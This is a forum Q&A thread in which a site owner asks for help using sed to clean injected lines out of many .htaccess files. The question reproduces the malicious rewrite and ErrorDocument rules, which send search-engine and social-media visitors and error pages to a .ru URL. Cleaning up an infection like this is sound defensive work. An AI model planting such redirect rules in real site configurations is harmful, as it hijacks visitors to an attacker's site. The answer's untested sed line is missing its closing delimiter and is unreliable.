0

I have a couple of hundred .htaccess files and I want to remove mallicous lines from them. On the top they all have:

IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>

and on the bottom:

ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8

I'm really lost in sed portion, can somebody help me? :(

I have so far:

find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;
2
  • Would it not be easier to restore them from your backups?
    – Ladadadada
    Jun 8, 2012 at 19:16
  • This doesn't help with the mechanism used to get the malicious files there in the first place. Fix the root cause, not the symptom. Jun 8, 2012 at 23:41

1 Answer 1

1

What do you want to replace it with? I personally prefer this Perl one-liner:

perl -i.bak -p -e 's/find/replace/ig' .htaccess

This creates a backup files modified and adds the .bak extension.

Does that give you enough to get started?

Here is a similar sed e.g,, (untested though!):

sed -i 's/find/replace' 

-i is "in place."

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .